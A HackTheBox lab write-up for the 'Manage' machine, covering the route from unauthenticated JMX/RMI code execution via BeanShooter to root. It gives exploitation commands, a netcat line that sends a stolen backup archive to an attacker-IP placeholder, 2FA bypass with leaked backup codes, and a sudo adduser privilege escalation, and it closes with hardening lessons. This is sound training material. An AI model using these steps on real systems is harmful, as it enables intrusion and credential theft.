Manage - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Manage is an easy Linux machine featuring an exposed and unauthenticated Java RMI/JMX service running on Tomcat. By leveraging BeanShooter to deploy a malicious MBean, we gain remote code execution as the tomcat user. Lateral movement is achieved by exploiting a misconfigured backup archive in the useradmin home directory, which leaks SSH keys and two-factor authentication backup codes. Finally, a sudo misconfiguration allowing unrestricted execution of the adduser command with alphanumeric usernames enables privilege escalation by creating an admin user that inherits elevated group permissions.

TL;DR: Unauthenticated JMX exploitation → Tomcat RCE → Leaked SSH keys & OTP backup codes → useradmin lateral movement → Malicious sudo adduser abuse → Root access

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- 10.129.234.57

Results:

PORT        STATE SERVICE     VERSION
22/tcp      open  ssh         OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
2222/tcp    open  java-rmi    Java RMI
8080/tcp    open  http        Apache Tomcat 10.1.19

Three ports are exposed:

• Port 22 (SSH): OpenSSH with key-based authentication required
• Port 2222 (Java RMI): Unauthenticated RMI registry with JMX endpoint bound
• Port 8080 (HTTP): Apache Tomcat 10.1.19 default landing page

Service Enumeration

Apache Tomcat (Port 8080): The default Tomcat landing page loads without any interesting configuration or exposed applications. Initial enumeration reveals no obvious attack vectors here.

Java RMI Service (Port 2222): The Nmap RMI dump registry script reveals critical information:

jmxrmi
  javax.management.remote.rmi.RMIServerImpl_Stub
  @127.0.1.1:38817

This indicates a JMX (Java Management Extensions) service is bound to the RMI registry and accessible without authentication.

Vulnerability Assessment

Identified Vulnerabilities:

1. Unauthenticated JMX Service: The JMX endpoint does not require credentials, allowing remote enumeration and MBean deployment
2. Hardcoded Tomcat Credentials: The JMX service exposes internal Tomcat user credentials
3. Misconfigured Backup Archive: The useradmin backup directory contains world-readable archives with sensitive files
4. Weak OTP Implementation: Google Authenticator backup codes are stored unencrypted and accessible
5. Sudo Misconfiguration: The useradmin account can execute adduser as root without a password, with insufficient input validation

Initial Foothold

Exploitation Path

Step 1: Enumerate JMX Service with BeanShooter

First, clone and build BeanShooter, a specialized tool for exploiting Java RMI/JMX endpoints:

git clone https://github.com/qtc-de/beanshooter
cd beanshooter
mvn package

Use the enum function to discover available services and authentication status:

java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum 10.129.234.57 2222

The output reveals:

• JMX endpoint jmxrmi is accessible without authentication
• Hardcoded Tomcat user credentials are enumerable:
  • Username: manager / Password: fhErvo2r9wuTEYiYgt
  • Username: admin / Password: onyRPCkaG4iX72BrRtKgbszd
• Pre-auth deserialization is patched, but MBean deployment is still exploitable

Step 2: Deploy Malicious MBean

Use BeanShooter’s standard mode to deploy a malicious MBean that acts as a command execution interface:

java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard 10.129.234.57 2222 tonka

Output confirms successful deployment:

[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=732201892021296 was successfully deployed.
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected behavior and the attack most likely worked :)

Step 3: Gain Remote Shell Access

Trigger the deployed MBean to establish an interactive shell as the tomcat user:

java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka shell 10.129.234.57 2222

Success:

[tomcat@10.129.234.57 /]$

Step 4: Capture User Flag

Enumerate the tomcat home directory to locate the first flag:

find / -name "user.txt" 2>/dev/null
cat /opt/tomcat/user.txt

The user flag is found at /opt/tomcat/user.txt.

Privilege Escalation

Lateral Movement to useradmin

Step 1: Discover Target User

List home directories to identify other users:

[tomcat@10.129.234.57 /]$ ls -la /home
# Output shows 'useradmin' and 'karl' directories

Step 2: Analyze useradmin’s Permissions

Inspect the useradmin home directory for misconfigured permissions:

[tomcat@10.129.234.57 /home]$ ls -la useradmin/
# Note: backups directory has 'drwxrwxr-x' (world-readable!)
# Also present: .google_authenticator (indicates 2FA enabled)
# Also present: .ssh directory (potentially contains keys)

Step 3: Extract Backup Archive

The backup directory contains a readable archive:

[tomcat@10.129.234.57 /home/useradmin/backups]$ ls -la
# backup.tar.gz (permissions: -rw-rw-r--)

Transfer the archive to the attacker machine using netcat. On your local machine, set up a listener:

nc -lvp 1234 > backup.tar.gz

From the tomcat shell, send the file:

[tomcat@10.129.234.57 /home/useradmin/backups]$ nc <YOUR_IP_ADDRESS> 1234 < backup.tar.gz

Step 4: Extract and Analyze Backup Contents

Extract the archive locally:

tar -xvzf backup.tar.gz

Contents reveal:

./.ssh/id_ed25519           # SSH private key
./.google_authenticator     # 2FA configuration with backup codes
./.ssh/authorized_keys
./.bashrc
./.bash_logout
./.profile

Step 5: Extract OTP Backup Codes

Examine the .google_authenticator file:

cat .google_authenticator
# Output:
# CLSSSMHYGLENX5HAIFBQ6L35UM
# " RATE_LIMIT 3 30 1718988529
# " WINDOW_SIZE 3
# " DISALLOW_REUSE 57299617
# " TOTP_AUTH
# 99852083
# 20312647
# 73235136
# 92971994
# 86175591
# 98991823
# 54032641
# 69267218
# 76839253
# 56800775

These numeric codes are one-time backup codes that can be used for 2FA authentication.

Step 6: SSH into useradmin Account

Use the extracted SSH private key to authenticate:

chmod 600 .ssh/id_ed25519
ssh useradmin@10.129.234.57 -i .ssh/id_ed25519

When prompted for a verification code, enter one of the backup codes (e.g., 99852083):

(useradmin@10.129.234.57) Verification code: 99852083

Success — you are now logged in as useradmin.

Privilege Escalation to Root

Step 1: Check Sudo Privileges

Examine what commands useradmin can execute with sudo:

useradmin@manage:~$ sudo -l
# Output:
# User useradmin may run the following commands on manage:
#   (ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$

The user can run adduser as root without a password, with only alphanumeric username validation.

Step 2: Exploit Admin Group Membership

On Ubuntu systems, the admin group grants full sudo privileges by default. If an admin user does not exist, creating one will automatically assign it to this group.

Verify no admin user exists:

grep "^admin:" /etc/passwd
# No output — admin user doesn't exist

Create the admin user:

useradmin@manage:~$ sudo /usr/sbin/adduser admin
# Follow prompts to set password

Verify the new user was created with admin group membership:

grep "^admin:" /etc/passwd

Step 3: Switch to Admin User and Escalate to Root

Switch to the newly created admin user:

useradmin@manage:~$ su admin
Password: <password_you_set>

The admin user inherits sudo privileges. Escalate to root:

admin@manage:/home/useradmin$ sudo su
root@manage:/home/useradmin#

Step 4: Capture Root Flag

Retrieve the root flag:

cat /root/root.txt

Attack Chain Summary

Unauthenticated JMX Service (Port 2222)
    ↓
BeanShooter Enumeration & MBean Deployment
    ↓
Remote Code Execution as tomcat user
    ↓
Discover Misconfigured Backup Archive (world-readable)
    ↓
Extract useradmin SSH Key & OTP Backup Codes
    ↓
SSH Lateral Movement to useradmin Account
    ↓
Discover Sudo Misconfiguration (adduser without password validation)
    ↓
Create admin User (inherits admin group sudo privileges)
    ↓
Root Privilege Escalation

Tools Used

Key Learnings

Techniques Practiced

• Java RMI and JMX service enumeration without authentication
• Custom MBean deployment for remote code execution
• Backup archive analysis for credential extraction
• Google Authenticator backup code abuse for 2FA bypass
• Sudo misconfiguration exploitation with group-based privilege escalation
• File transfer techniques using netcat in constrained environments

Lessons Learned

1. Java Services Require Hardening: Unauthenticated JMX/RMI endpoints are critical vulnerabilities. Always require authentication and disable remote management in production.

2. Backup Security is Mission-Critical: World-readable backups containing cryptographic material (.ssh directories) and 2FA secrets are trivial privilege escalation paths. Encrypt backups and restrict permissions to 0600.

3. OTP Backup Codes Are High-Value Assets: Backup codes should be stored securely (encrypted at rest) and ideally destroyed after first use or stored offline. Storing them alongside their associated keys defeats 2FA entirely.

4. Input Validation Alone Is Insufficient: The regex ^[a-zA-Z0-9]+$ prevents special characters but doesn’t prevent the creation of privileged usernames. Allowlisting specific usernames is more secure than blacklisting patterns.

5. Group-Based Privilege Escalation: Ubuntu’s default admin group grants full sudo access. Creating users with administrative usernames can inadvertently grant privileges. System designers should avoid implicit privilege elevation based on usernames.

6. Sudo Password Timeout is a Weak Control: The timestamp_timeout=1440 setting extends sudo credentials for 24 hours. A compromised account can escalate privileges repeatedly during this window without re-authentication.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>